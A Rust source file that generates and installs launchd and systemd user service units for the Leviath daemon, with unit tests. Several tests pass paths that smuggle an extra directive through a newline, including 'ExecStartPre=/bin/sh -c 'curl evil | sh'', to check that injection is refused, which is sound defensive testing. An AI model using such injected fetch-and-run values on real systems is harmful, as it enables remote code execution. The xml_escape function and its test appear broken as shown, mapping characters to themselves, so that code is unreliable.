use std::path::{Path, PathBuf};
use anyhow::{Context, Result};
pub const SERVICE_LABEL: &str = "dev.leviath.daemon";
#[cfg(target_os = "macos")]
pub const LEGACY_SERVICE_LABELS: &[&str] = &["ai.sunforge.leviath"];
#[cfg(target_os = "macos")]
pub fn legacy_cleanup(config_home: &Path, uid: u32) -> Vec<(PathBuf, (String, Vec<String>))> {
LEGACY_SERVICE_LABELS
.iter()
.map(|label| {
(
config_home.join(format!("{label}.plist")),
(
"launchctl".to_string(),
vec!["bootout".to_string(), format!("gui/{uid}/{label}")],
),
)
})
.collect()
}
#[cfg(any(target_os = "macos", target_os = "linux"))]
const LOG_FILE: &str = "daemon.log";
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ServiceUnit {
pub path: PathBuf,
pub contents: String,
pub activate: (String, Vec<String>),
pub deactivate: (String, Vec<String>),
}
#[cfg(target_os = "macos")]
pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, uid: u32) -> Result<ServiceUnit> {
let path = config_home.join(format!("{SERVICE_LABEL}.plist"));
Ok(ServiceUnit {
contents: launchd_plist(exe, home, &home.join(LOG_FILE)),
activate: (
"launchctl".to_string(),
vec![
"bootstrap".to_string(),
format!("gui/{uid}"),
display(&path),
],
),
deactivate: (
"launchctl".to_string(),
vec!["bootout".to_string(), format!("gui/{uid}/{SERVICE_LABEL}")],
),
path,
})
}
#[cfg(target_os = "macos")]
pub fn config_home(user_home: &Path) -> Result<PathBuf> {
Ok(user_home.join("Library").join("LaunchAgents"))
}
#[cfg(target_os = "macos")]
fn launchd_plist(exe: &Path, home: &Path, log: &Path) -> String {
format!(
r#"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>{label}</string>
<key>ProgramArguments</key>
<array>
<string>{exe}</string>
<string>daemon</string>
</array>
<key>EnvironmentVariables</key>
<dict>
<key>LEVIATH_HOME</key>
<string>{home}</string>
</dict>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>ThrottleInterval</key>
<integer>10</integer>
<key>StandardOutPath</key>
<string>{log}</string>
<key>StandardErrorPath</key>
<string>{log}</string>
</dict>
</plist>
"#,
label = SERVICE_LABEL,
exe = xml_escape(&display(exe)),
home = xml_escape(&display(home)),
log = xml_escape(&display(log)),
)
}
#[cfg(target_os = "macos")]
fn xml_escape(s: &str) -> String {
let mut out = String::with_capacity(s.len());
for c in s.chars() {
match c {
'&' => out.push_str("&"),
'<' => out.push_str("<"),
'>' => out.push_str(">"),
'"' => out.push_str("""),
'\'' => out.push_str("'"),
_ => out.push(c),
}
}
out
}
#[cfg(target_os = "linux")]
pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, _uid: u32) -> Result<ServiceUnit> {
Ok(ServiceUnit {
path: config_home.join("leviath.service"),
contents: systemd_unit(exe, home, &home.join(LOG_FILE))?,
activate: (
"systemctl".to_string(),
vec![
"--user".to_string(),
"enable".to_string(),
"--now".to_string(),
"leviath.service".to_string(),
],
),
deactivate: (
"systemctl".to_string(),
vec![
"--user".to_string(),
"disable".to_string(),
"--now".to_string(),
"leviath.service".to_string(),
],
),
})
}
#[cfg(target_os = "linux")]
pub fn config_home(user_home: &Path) -> Result<PathBuf> {
Ok(user_home.join(".config").join("systemd").join("user"))
}
pub fn unit_safe(label: &str, value: &Path) -> Result<String> {
let s = display(value);
if s.contains('\n') || s.contains('\r') {
anyhow::bail!(
"refusing to write a systemd unit: the {label} path contains a newline, \
which would inject additional unit directives"
);
}
Ok(s)
}
pub fn systemd_unit(exe: &Path, home: &Path, log: &Path) -> Result<String> {
let exe = unit_safe("executable", exe)?;
let home = unit_safe("LEVIATH_HOME", home)?;
let log = unit_safe("log", log)?;
Ok(format!(
"[Unit]\n\
Description=Leviath shared-world agent daemon\n\
After=network-online.target\n\
\n\
[Service]\n\
Type=simple\n\
ExecStart={exe} daemon\n\
Environment=LEVIATH_HOME={home}\n\
Restart=always\n\
RestartSec=10\n\
StandardOutput=append:{log}\n\
StandardError=append:{log}\n\
\n\
[Install]\n\
WantedBy=default.target\n",
))
}
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
const UNSUPPORTED: &str = "`lev daemon install` supports macOS (launchd) and Linux (systemd user \
units); on this platform, start `lev daemon` from your own login script";
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
pub fn service_unit(
_exe: &Path,
_home: &Path,
_config_home: &Path,
_uid: u32,
) -> Result<ServiceUnit> {
anyhow::bail!(UNSUPPORTED)
}
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
pub fn config_home(_user_home: &Path) -> Result<PathBuf> {
anyhow::bail!(UNSUPPORTED)
}
pub fn install(unit: &ServiceUnit) -> Result<&Path> {
if let Some(parent) = unit.path.parent() {
std::fs::create_dir_all(parent)
.with_context(|| format!("creating {}", parent.display()))?;
}
std::fs::write(&unit.path, &unit.contents)
.with_context(|| format!("writing {}", unit.path.display()))?;
Ok(&unit.path)
}
pub fn uninstall(unit: &ServiceUnit) -> Result<bool> {
match std::fs::remove_file(&unit.path) {
Ok(()) => Ok(true),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(false),
Err(e) => Err(e).with_context(|| format!("removing {}", unit.path.display())),
}
}
pub fn format_supervision(installed: bool, path: &Path) -> String {
if installed {
format!("supervised: yes ({})", path.display())
} else {
"supervised: no (`lev daemon install` restarts it automatically)".to_string()
}
}
fn display(path: &Path) -> String {
path.to_string_lossy().into_owned()
}
#[cfg(test)]
mod tests {
use super::*;
fn bare_unit(path: PathBuf) -> ServiceUnit {
ServiceUnit {
path,
contents: "unit body\n".to_string(),
activate: ("sup".to_string(), vec!["on".to_string()]),
deactivate: ("sup".to_string(), vec!["off".to_string()]),
}
}
#[test]
fn install_writes_then_uninstall_removes_exactly_once() {
let dir = tempfile::tempdir().unwrap();
let unit = bare_unit(dir.path().join("nested").join("leviath.unit"));
let written = install(&unit).unwrap().to_path_buf();
assert_eq!(std::fs::read_to_string(&written).unwrap(), unit.contents);
assert!(uninstall(&unit).unwrap(), "first removal reports a removal");
assert!(
!uninstall(&unit).unwrap(),
"second is a no-op, not an error"
);
}
#[test]
fn install_and_uninstall_surface_io_errors() {
let dir = tempfile::tempdir().unwrap();
let blocker = dir.path().join("blocker");
std::fs::write(&blocker, "x").unwrap();
assert!(install(&bare_unit(blocker.join("child").join("unit"))).is_err());
let occupied = dir.path().join("occupied");
std::fs::create_dir(&occupied).unwrap();
assert!(install(&bare_unit(occupied.clone())).is_err());
assert!(uninstall(&bare_unit(occupied)).is_err());
assert!(install(&bare_unit(PathBuf::new())).is_err());
}
#[test]
fn supervision_status_reads_both_ways() {
let path = Path::new("/home/u/unit");
assert!(format_supervision(true, path).contains("yes"));
assert!(format_supervision(true, path).contains("/home/u/unit"));
assert!(format_supervision(false, path).contains("no"));
}
#[cfg(any(target_os = "macos", target_os = "linux"))]
mod supported {
use super::*;
fn unit() -> ServiceUnit {
service_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath"),
Path::new("/tmp/lev-units"),
501,
)
.expect("this platform has a supervisor")
}
#[test]
fn the_unit_restarts_the_daemon_and_points_it_at_the_leviath_home() {
let u = unit();
assert!(u.contents.contains("/usr/local/bin/lev"));
assert!(u.contents.contains("/home/u/.leviath"));
assert!(u.contents.contains(LOG_FILE));
assert_eq!(u.activate.0, u.deactivate.0);
assert!(!u.activate.1.is_empty() && !u.deactivate.1.is_empty());
assert!(u.path.starts_with("/tmp/lev-units"));
let home = config_home(Path::new("/home/u")).expect("this platform has a supervisor");
assert!(home.starts_with("/home/u"));
}
}
#[cfg(target_os = "macos")]
mod macos {
use super::*;
#[test]
fn paths_with_xml_metacharacters_are_escaped() {
assert_eq!(
xml_escape("a&b<c>d\"e'f"),
"a&b<c>d"e'f"
);
assert_eq!(xml_escape("plain/path"), "plain/path");
}
#[test]
fn it_is_a_launchd_plist_bootstrapped_into_the_gui_domain() {
let u = service_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath"),
Path::new("/tmp/lev-units"),
501,
)
.unwrap();
assert_eq!(
u.path.file_name().unwrap().to_string_lossy(),
format!("{SERVICE_LABEL}.plist")
);
assert_eq!(u.activate.1[0], "bootstrap");
assert_eq!(u.activate.1[1], "gui/501");
assert_eq!(u.deactivate.1[1], format!("gui/501/{SERVICE_LABEL}"));
assert!(u.contents.contains("<key>KeepAlive</key>"));
assert!(u.contents.contains("<key>RunAtLoad</key>"));
assert!(
config_home(Path::new("/home/u"))
.unwrap()
.ends_with("LaunchAgents")
);
}
#[test]
fn legacy_cleanup_covers_every_old_label_with_a_bootout_and_a_plist() {
let actions = legacy_cleanup(Path::new("/tmp/lev-units"), 501);
assert_eq!(actions.len(), LEGACY_SERVICE_LABELS.len());
let (path, (cmd, args)) = &actions[0];
assert_eq!(
path.file_name().unwrap().to_string_lossy(),
"ai.sunforge.leviath.plist"
);
assert_eq!(cmd, "launchctl");
assert_eq!(args[0], "bootout");
assert_eq!(args[1], "gui/501/ai.sunforge.leviath");
assert!(!LEGACY_SERVICE_LABELS.contains(&SERVICE_LABEL));
}
}
#[cfg(target_os = "linux")]
mod linux {
use super::*;
#[test]
fn it_is_a_systemd_user_unit_enabled_for_the_calling_user() {
let u = service_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath"),
Path::new("/tmp/lev-units"),
501,
)
.unwrap();
assert_eq!(u.path.file_name().unwrap(), "leviath.service");
assert_eq!(
u.activate.1,
["--user", "enable", "--now", "leviath.service"]
);
assert_eq!(
u.deactivate.1,
["--user", "disable", "--now", "leviath.service"]
);
assert!(u.contents.contains("Restart=always"));
assert!(u.contents.contains("WantedBy=default.target"));
assert!(config_home(Path::new("/home/u")).unwrap().ends_with("user"));
}
#[test]
fn a_newline_in_leviath_home_is_refused_at_the_call_site() {
let err = service_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/tmp/x\nExecStartPre=/bin/sh -c 'curl evil | sh'"),
Path::new("/tmp/lev-units"),
501,
)
.expect_err("a newline in the home path must not reach the unit file");
assert!(err.to_string().contains("LEVIATH_HOME"), "{err}");
}
}
mod systemd_unit_file {
use super::*;
#[test]
fn display_renders_a_path_losslessly_when_it_can() {
assert_eq!(display(Path::new("/a/b")), "/a/b");
}
#[test]
fn it_renders_the_expected_directives() {
let unit = systemd_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath"),
Path::new("/home/u/.leviath/daemon.log"),
)
.unwrap();
assert!(unit.contains("ExecStart=/usr/local/bin/lev daemon"));
assert!(unit.contains("Environment=LEVIATH_HOME=/home/u/.leviath"));
assert!(unit.contains("Restart=always"));
}
#[test]
fn a_newline_in_an_interpolated_path_is_refused() {
let evil = Path::new("/home/u/.leviath\nExecStartPre=/bin/sh -c 'curl evil | sh'");
let err = systemd_unit(
Path::new("/usr/local/bin/lev"),
evil,
Path::new("/home/u/.leviath/daemon.log"),
)
.expect_err("a newline in LEVIATH_HOME must be refused");
assert!(err.to_string().contains("newline"), "got: {err}");
assert!(err.to_string().contains("LEVIATH_HOME"), "got: {err}");
}
#[test]
fn every_interpolated_path_is_checked() {
let evil = Path::new("/x\nExecStartPre=/bin/false");
let good = Path::new("/home/u/.leviath");
assert!(systemd_unit(evil, good, good).is_err(), "executable");
assert!(systemd_unit(good, evil, good).is_err(), "home");
assert!(systemd_unit(good, good, evil).is_err(), "log");
}
#[test]
fn a_carriage_return_is_refused_too() {
assert!(
systemd_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath\rExecStartPre=/bin/false"),
Path::new("/home/u/.leviath/daemon.log"),
)
.is_err()
);
}
}
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
mod unsupported {
use super::*;
#[test]
fn install_is_refused_with_an_actionable_message() {
let err = service_unit(
Path::new("lev.exe"),
Path::new("home"),
Path::new("units"),
0,
)
.unwrap_err()
.to_string();
assert!(err.contains("macOS"), "got: {err}");
assert!(err.contains("lev daemon"), "got: {err}");
assert!(config_home(Path::new("home")).is_err());
}
}
}